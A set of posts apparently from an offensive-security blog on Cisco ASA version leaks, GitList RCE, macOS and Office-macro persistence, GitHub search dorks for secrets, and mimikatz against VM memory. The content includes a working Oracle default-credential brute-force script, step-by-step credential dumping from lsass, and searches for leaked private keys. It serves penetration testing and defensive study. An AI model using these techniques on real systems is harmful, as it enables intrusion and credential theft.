Cisco ASA version grabber (CVE-2014-3398)

Was catching up on blogs and re-reading some things and re-came across this blog post and Ruxcon slides
http://breenmachine.blogspot.com/2014/10/cisco-asa-ssl-vpn-backdoor-poc-cve-2014.html
https://ruxcon.org.au/assets/2014/slides/Breaking%20Bricks%20Ruxcon%202014.pdf

While looking for some of the POCs I found this separate issue:

http://blog.spiderlabs.com/2014/04/privilege-escalation-vulnerability-in-cisco-asas-ssl-vpn.html

https://www3.trustwave.com/spiderlabs/advisories/TWSL2014-005.txt

Demo Video
https://vimeo.com/93010946

Slide deck
https://speakerdeck.com/claudijd/crowdsourcing-your-cisco-firewall-administration-dot-dot-dot-wat

The more important part of this was (for me) how to identify the vulnerable versions of ASAs

From the SpiderLabs post:

Cisco ASA administrators can remediate this vulnerability by applying the latest firmware for your appliance. Depending on the ASA model you will want to upgrade to at least version 8.2(5.48), 8.3(2.40), 8.4(7.15), 8.6(1.13), 8.7(1.11), 9.0(4.1), or 9.1(4.5).

 If you check out the Ruxcon slides (slide 75) you'll see that Alec discovered a version disclosure issue (CVE-2014-3398)

I couldn't find the nmap NSE referenced.

**UPDATE**
here it is: https://github.com/alec-stuart/BreakingBricks
**UPDATE**

aaaaannnd given that it's just a GET request, I wrote an auxiliary module to do this check:

https://github.com/carnal0wnage/Metasploit-Code/blob/master/modules/auxiliary/scanner/cisco_asa_version_leak.rb

Sample output

msf > use auxiliary/dev/webapp/cisco_asa_version_leak
msf auxiliary(cisco_asa_version_leak) > set VERBOSE true
VERBOSE => true
msf auxiliary(cisco_asa_version_leak) > set RHOSTS vpn.host1
RHOSTS => vpn.host1
msf auxiliary(cisco_asa_version_leak) > run

[+] 1.1.1.1:443-ASA Version: 9.0(3)8
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf auxiliary(cisco_asa_version_leak) > set RHOSTS vpn.host2
RHOSTS => vpn.host2
msf auxiliary(cisco_asa_version_leak) > run

[+] 2.2.2.2:443-ASA Version: 9.1(5)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf auxiliary(cisco_asa_version_leak) > set RHOSTS vpn.host3
RHOSTS => vpn.host3
msf auxiliary(cisco_asa_version_leak) > run

[+] 3.3.3.3:443-ASA Version: 8.4(7)22
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf auxiliary(cisco_asa_version_leak) > set RHOSTS vpn.host4
RHOSTS => vpn.host4
msf auxiliary(cisco_asa_version_leak) > run

[*] 4.4.4.4:443 Received 302 to https://129.78.208.25/+webvpn+/index.html (PATCHED)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

I also found this nmap script

http://nmap.org/nsedoc/scripts/http-cisco-anyconnect.html

but I checked against the above hosts and it didnt return any results :-/ so meh.


quick check just as a place to put it

curl -ssl -k  -v "https://1.2.3.4/CSCOSSLC/config-auth"

other fun

inurl:logon.html "CSCOE"

P.S.
the module to actually exploit the issue is in metasploit:
https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb

At some point I may try to just add the check to that module until then you have the above.

DevOoops: Revision Control (GitList)

More info from the DevOoops talk

Remote Code Execution in GitList

background blog post here: http://hatriot.github.io/blog/2014/06/29/gitlist-rce/

P.S. if you don't read that blog, you should :-)

http://www.exploit-db.com/exploits/33929/

MSF module:
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/gitlist_exec.rb

Read the blog post for the interesting details.


fun screenies

Manually checking if a site is vulnerable

Backdoor PHP using the python POC

Shell via the metasploit module

I didn't think anyone used this stuff, but its apparently pretty popular

Fixes:

current stable version 0.5.0 fixes the issue

Shmoocon Notes: Userland Persistence on Mac OS X

Notes from the conf for later

Userland Persistence on Mac OS X

by Josh Pitts @midnite_runr 


Video
https://archive.org/details/joshpitts_shmoocon2015

the backdoor factory
https://github.com/secretsquirrel/the-backdoor-factory

--framework to patch PE, elf, Mach-O binaries

BFDProxy will patch will stuff while it is being downloaded
https://github.com/secretsquirrel/BDFProxy

must have root or equivalent to patch the various programs


Background on OSX Persistence

methods of malware persistence on os x mavericks patrick wardle
https://s3.amazonaws.com/s3.synack.com/Synack_Shakacon_OSX_Malware_Persistence.pdf

userland persistence

-plists (launchd executed similar to init) on boot, onlogon, onsocket

-evil plugins

-startupitems folders (plist or script)

-cronjobs

-/etc/rc.common

-/etc/lanchd.conf

-binary infection (backdoor factory method)

prior work
-infecting Macho-O _PAGEZERO method
-BouBou Library Injection

josh's blog post related to the talk
http://secureallthethings.blogspot.com/2014/08/patching-mach-o-format-simple-and-easy.html

pre-test section infection method-->change entry point to the evil payload, for payload continue to parent process

BDF will automatically unsign a signed binary, OSX doesnt care its not signed, just that the signature is correct

interesting boot processes that were patchable
-/sbin/launchd - the first process
-/usr/libexec/xpcproxy  - almost everything uses it
-/usr/bin/security
-/usr/bin/awk  awk was a boot process
launchd launches a script that launches awk

Demos in the talk

launchd patch
python script from demo: https://gist.github.com/secretsquirrel/2ba497786027472f98dd

xpcproxy

awk


Detection?

Run script on your baseline. Make note of injection candidates and what is signed and take note if at some point it is NOT signed anymore. Should indicate some muckery going on.

Enigma0x3's Generate Macro Powershell Script

Quick post/notes on Enigma0x3's Generate Macro payload since it got hot on twitter and reddit last week.

code is here:

https://github.com/enigma0x3/Generate-Macro

The screenshot above walks through the process

run it, pass in the URL to Invode-Shellcode.ps1, enter metasploit listener IP and port, and the name of the xls you want created.

You then pick a persistence method:

     -Logon Persistence

"Meterpreter Shell with Logon Persistence: This attack delivers a meterpreter shell and then persists in the registry by creating a hidden .vbs file in C:\Users\Public and then creates a registry key in HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load that executes the .vbs file on login."

     -Powershell Profile Persistence

"Meterpreter Shell with Powershell Profile Persistence: This attack requires the target user to have admin right but is quite creative. It will deliver you a shell and then drop a malicious .vbs file in C:\Users\Default\AppData\Roaming\Microsoft\Windows\Cookies\cookie.vbs. Once dropped, it creates an infected Powershell Profile file in C:\Windows\SysNative\WindowsPowerShell\v1.0\ and then creates a registry key in  HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load that executes Powershell.exe on startup. Since the Powershell profile loads automatically when  Powershell.exe is invoked, your code is executed automatically."

more info: https://enigma0x3.wordpress.com/2014/06/16/abusing-powershell-profiles/

     -Microsoft Outlook Email Persistence

"Meterpreter Shell with Microsoft Outlook Email Persistence: This attack will give you a shell and then download a malicious Powershell script in this location: C:\Users\Public\. Once downloaded, it will insert your defined IP address, Port, Email address and Trigger word.
It will then create a malicious .vbs file and drop it in C:\Users\Default\AppData\Roaming\Microsoft\Windows\Cookies\. Once dropped, it creates a registry key that executes it on login. When the Powershell script is executed, it monitors the user's Outlook Inbox for an email containing  the email address you specified as well as the subject. When it sees the email, it will delete it and send you a shell."

more info https://enigma0x3.wordpress.com/2014/10/14/persistence-using-microsoft-outlook/

Then pick Meterpreter shell you want HTTP or HTTPS


Once complete you'll have a blank XLS in office2k-2k3 version.

I did confirm you can add your excel content, save and repopen the xls and it works (you will have to remove the persistence method or you'll get an error).

If you peak inside, you'll see its relatively straightforward to see whats going on.

DevOoops: Spoofing GitHub Users

The user information that gets loaded with a commit is locally controlled metadata.

What this means is that you can submit a commit as any user you please. Examples:

It even adds the GitHub icon automagically :-)

This was also discussed here:
https://news.ycombinator.com/item?id=7792026

DevOoops: GitHub Search

GitHub supports advanced search operators much like Google

References:
http://seclists.org/fulldisclosure/2013/Jun/15
-->https://github.com/search?p=3&q=extension%3Aphp+mysql_query+%24_GET&ref=searchresults&type=Code

http://blog.conviso.com.br/2013/06/github-hacking-for-fun-and-sensitive.html

search cheat sheet:
https://github.com/search#search_cheatsheet_pane

Fun Examples:

password user:adobe -- references to password in all adobe repos

password user:adobe extension:sql --references to password in sql files in all adobe repos

user:adobe extension:pem private -- private keys in adobe's repos



You get the idea...check out the conviso blog post for other fun examples

DevOoops

Ken Johnson and I gave a talk on going after Devops tools at Lascon in October.  Slides for the talk are below:

LasCon 2014 DevOoops from Chris Gates

The talk was recorded, once the talk is posted somewhere I'll update my vimeo channel with the talk.

Quick and Dirty Oracle Brute Forcing

Here is a quick bash script to wrap sqlplus for some brute forcing if for whatever reason nmap is failing to get the job done...and thus metasploit is failing to get the job done since the oracle_login module just calls nmap


#!/bin/bash
INPUT=oracle_defaults.csv
OLDIFS=$IFS
IFS=,
[ ! -f $INPUT ] && { echo "$INPUT file not found"; exit 99; }
while read comment number username password hash comment
do
echo "string = $username:$password"
/opt/oracle/instantclient_10_2/sqlplus -L $username\/$password\@1.2.3.4:1521\/ORCL
done < $INPUT
IFS=$OLDIFS


What this will do is use the default oracle username/password list that ships with metasploit, parse that csv, and shove the username and password into the sqlplus command.  If you guess one right the script will hang with you logged in with the guessed account.

Cheers

CG

Its nice to see smart people in the industry like Dave Aitel (https://lists.immunityinc.com/pipermail/dailydave/2014-October/000769.html, http://seclists.org/dailydave/2013/q3/65) catching up to things we have been quietly providing to our clients for years. Attack Simulation and Threat Response / Reduction have been big focuses for Attack Research for a while now.

First I will address Attack Simulation. Many of the high end (fortune 100 and above) customers already know what machines they need to patch, or that they have weak passwords or vulnerable applications. There is still a place for the vuln scan companies and the PCI auditors, but for those companies who have dealt with those issues and are trying to deal with the most serious threats, rather than the noise, there is a whole different set of questions they need to answer:

1.) How will their detection and response teams perform under pressure?
2.) What are the attack paths that will likely be taken to compromise "crown jewels", be that customer data, IP, source code, etc.?
3.) How does exfiltration of high value data look in their environment?
4.) What does it look like  in their infrastructure when an attacker sits quietly sniffing and collecting host surveys, using sysadmin credentials, adding vulnerabilities to internal source, over long periods of time rather than a week long scan and bang?

There is lots more but you get the idea. Our APTSim program has been answering those questions for several years. (First published September 19th, 2012, but had been operating for a while before it was publicly announced). In this program we have done things like:

- Exfiltraton tests using custom written steg, network protocol based covert channels, data to superaudible tones to cell phone mic.
- Built mis-attributable command and control infrastructures overseas to mimic APT type campaigns.
- Engaged in DLP evasion exercises.
- Built custom hardware to implant in intercepted employee's equipment.
- Modified high value client source code to introduce subtle access mechanisms.

We first publicly demonstrated command and control tools communicating over Tor in 2009 (https://www.defcon.org/images/.../defcon-17-valsmith-metaphish.pdf)

Next we have Threat Response, or as we like to call it, Threat Reduction. Many of our clients have come to us stating a problem. They have purchased many Threat Intel feeds, they get thousands and thousands of signatures or IOCs a day, bulletins rehashing twitter conversations, or someone charging them $20,000 a month to scrape Pastebin for their company brand. But what should they do with all this information? Often they dont have the infrastructure, personnel, skillsets, or internal political clout to take action on all of this "intelligence". And how many of these 100000s of items really pose a direct, targeted, threat which warrants real concern beyond the question: "Ok, how fast can we re-image 1000 workstations". Not as many as you might think.

These companies don't need threat intel, as it is being currently sold, they need Threat Reduction, which is exactly what we have been providing for years. Our clients get notices from us saying "There was a threat targeting you specifically, here is the brief description, it's been handled per our agreed upon ROE", rather than "here are 10,000 IOCs, good luck, hope you can stop them yourself!" which amounts to basically a huge, never ending, trouble ticket.  This type of service that we provde involves a deep understanding of the client's business and priorities, trust, and the ability to actually DO something about specific threats. This might mean that we make customized modifications to the client's detection / blocking tools, a week before we know a specific type of attack is going to hit them, surveilling a specifc group of actors known to pose a problem (In person, online, etc.), taking down a bot net, or arranging for the delivery of cease and desist notices. It involves developing information sources around the world that go beyond a simple web crawler. Our clients are in the business of producing energy, managing people's money, or manufacturing devices you use every day. They are not in the business of sorting through an internet worth of MD5 sums! That is not their expertise, nor should it have to be. (Some places do have crack internal teams, and they have my respect, but it is not realistic to think that everyone can have 20 FTEs on staff with all the requisite skillsets from RE to exploit reconstruction.)

Like AV, threat intel is one of those things that's probably somewhat helpful to have on hand, but doesn't do much to help organizations deal with specific, focused concerns about their highest priority interests. They need Threat Reduction, they need true, real world, exercising of their detection and response teams, and I am glad to see others I respect finally catching up to the idea.



V.

Mimikatz Against Virtual Machine Memory Part 2

Short update to talk about mostly performing the actions from Part 1 on Windows 8+ and Windows Server 2012


First issue was symbols in windbg. Most importantly, NO symbols for windbg. I found this article that lets you remotely download them:

http://support.microsoft.com/kb/311503

.sympath SRV*f:\localsymbols*http://msdl.microsoft.com/download/symbols

0: kd> .sympath SRV*f:\localsymbols*http://msdl.microsoft.com/download/symbols
Symbol search path is: SRV*f:\localsymbols*http://msdl.microsoft.com/download/symbols
Expanded Symbol search path is: srv*f:\localsymbols*http://msdl.microsoft.com/download/symbols
0: kd> .reload
Loading Kernel Symbols
...............................................................
................................................................
..............
Loading User Symbols

Loading unloaded module list
.........

Second issue was creating the dmp file. I tried volatility's imagecopy and The Windows Memory Toolkit. Neither produced a dump file that would work with windbg for Windows 8 or Windows 2012. What did work was VMWare's vmss2core utility.

Note for VMware workstation/fusion you need to pass it the .vmsn and .vmem files (shown above)

For VMware ESXi i just needed to pass the .vmsn file

The rest follows the same flow as the previous post

1.  Load the memory.dmp file vmss2core created

2. Fix your symbols (shown above)

3. Load the mimilib.dll file

kd> .load C:\users\user\desktop\mimilib.dll

4. Find the lsass process

kd> !process 0 0 lsass.exe
PROCESS ffffe00112f08080
    SessionId: 0  Cid: 01e8    Peb: 7ff623aac000  ParentCid: 0194
    DirBase: 06291000  ObjectTable: ffffc001f8f0c400  HandleCount:
    Image: lsass.exe

5. Switch to that process

kd> .process /r /p ffffe00112f08080
Implicit process is now ffffe001`12f08080
Loading User Symbols
................................................................

6. Run Mimikatz

kd> !mimikatz

7. Drink Beers